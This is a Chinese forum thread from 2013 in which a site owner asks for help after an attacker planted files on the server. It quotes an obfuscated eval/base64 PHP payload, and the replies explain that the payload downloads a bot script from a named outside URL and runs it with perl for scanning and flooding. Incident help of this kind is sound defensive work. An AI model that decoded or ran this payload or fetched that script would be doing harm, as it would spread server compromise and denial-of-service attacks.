论坛徽章:: 0

电梯直达

1楼 [收藏(0)] [报告]

发表于 2013-05-29 13:12 |只看该作者 |倒序浏览

本帖最后由 centos64 于 2013-05-29 13:18 编辑

这个黑客昨天在我的网站根目录放了若干个文件，然后我的站点任何一个页面打开就只出现一个图片无法显示的红X。

查看网页源码，它把下面的字符串经过 eval(gzinflate(str_rot13(base64_decode('这里放的是下面字符串')))) N重加密

3ZjNd4NAGFL3hb6DuyQFNb+lNEO6KV1p032w+hktk5nBGXhPyLs3LU2NV4jTht5pF4ODB8M9HBKH/TDlvo4FX9A6SU31e7QmvzcYeS8v7j8+9nvZkrQVdi1iXTfLMicg4SmicVJZOJy5mbR9wTVk7VeWLnCu3BehHSaWlv1xbKPr8Sz0pjfXs+F1U8PpzSQcQib+iz8dBU4wZ17lZS4pbifd2RvMv7j8Z3/IkFickYvtHxyIjDPhBZbtGSKekWLD15atUZr4cQhqalO8kLQfnfoLmfGbgT0+PJs97u58LytMTGkSaZ9BYLltJeew0875Qyde8KFC/YsTe/IFJuz0C0BgBcQ8oLUjI+lctZEbiuKbfulj/BC7+8Hd5QUxUmRY0aiIGFtHuqb8ArFhqmdrAqzS4ervgBJIfkhVQPVI8bDESiXreaiDbMFpQxsltgzwm6iV9i/IAbiP2jBkckTrklMzHbn3F+1xQ0SGDCe01FN2TRUd9WwB2UM5GaAyZjJgWhaEsHfMARFomKOBKTCn6mGjb1O4nUcjxB38H+ijOim6AJC7qIb4D4Xw5iXHcKr2Cr56n+4hZjRypKeUjpI0j5niEjF0VzY8v5V5uHOrMKI6rVEEtEwJh+WxkquzXCqTgo2bJiPy/PEDp4UVXwfAkdOEBNdQo0R+USDGf7B5au8=

网友帮我解密后代码如下：

我的理解是他把代码放在了图片里，然后在我的目录里面执行了这些代码，我想获取这个图片看他到底做了什么但是我不知道该怎么获取。

PS：后来我把这些文件删除了，我发现除了昨天，前几天这个人还放了其他一些文件到我的服务器，并且那时候访问我的网站任何页面都非常卡，重启服务器后情况缓解，但过一段时间又变得非常卡，不知道是不是这个黑客又进行了某些操作导致的。

请问

1.能否有兄弟帮我找到这个图片并翻译成代码

2.他是通过什么手段入侵我的服务器的？

3.要这么做好服务器安全措施，以防再次被攻击？

4.能否推荐一些服务器安全的经典书，鸟哥的linux私房菜：服务器架设篇，这本书能解决问题吗、

先谢谢大家了！

文库|博客

lbseraph

版主

论坛徽章:: 48

2楼 [报告]

发表于 2013-05-29 13:27 |只看该作者

他是把http://www.deoaseermelo.nl/wp-content/plugins/bot.log的内容输出成那个jpg的文件，然后用perl执行而已。代码你直接看http://www.deoaseermelo.nl/wp-content/plugins/bot.log就可以。

实战分享：从技术角度谈机器学习入门| 【大话IT】RadonDB低门槛向MySQL集群下战书 | ChinaUnix打赏功能已上线！ | 新一代分布式关系型数据库RadonDB知多少？

chenyx

版主

论坛徽章:: 381

3楼 [报告]

发表于 2013-05-29 14:04 |只看该作者

鸟哥的书讲的是基础,入侵检测还行找别的资料.
至于他是如何入侵的,仔细检查下你的web日志,重点关注post上传的操作.

实战分享：从技术角度谈机器学习入门| 【大话IT】RadonDB低门槛向MySQL集群下战书 | ChinaUnix打赏功能已上线！ | 新一代分布式关系型数据库RadonDB知多少？

chenyx

版主

论坛徽章:: 381

4楼 [报告]

发表于 2013-05-29 14:04 |只看该作者

至于如何修补漏洞,得看看他是如何取得权限的,然后再让程序员修改源代码.

实战分享：从技术角度谈机器学习入门| 【大话IT】RadonDB低门槛向MySQL集群下战书 | ChinaUnix打赏功能已上线！ | 新一代分布式关系型数据库RadonDB知多少？

milujite

小富即安

论坛徽章:: 7

5楼 [报告]

发表于 2013-05-29 17:00 |只看该作者

本帖最后由 milujite 于 2013-05-29 17:21 编辑

看这段代码就是尝试使用WGET、CURL、LWP模块、lynx下载那个bot.log保存为JPG，对Linux来说扩展名其实就是浮云，然后PERL执行那个所谓的JPG，其实是执行BOT.LOG脚本内容。bot.log里都是攻击代码包括什么端口扫描啊，httpflood等。有必要的话先关闭httpd的perl扩展吧，然后重启httpd服务器，在慢慢折腾。因为这些脚本都是依赖PERL的。另外，你的机器应该是被缓冲区溢出了，被当肉鸡了。这个脚本的权限很高。建议重新搭环境吧，选新点的稳定点的版本。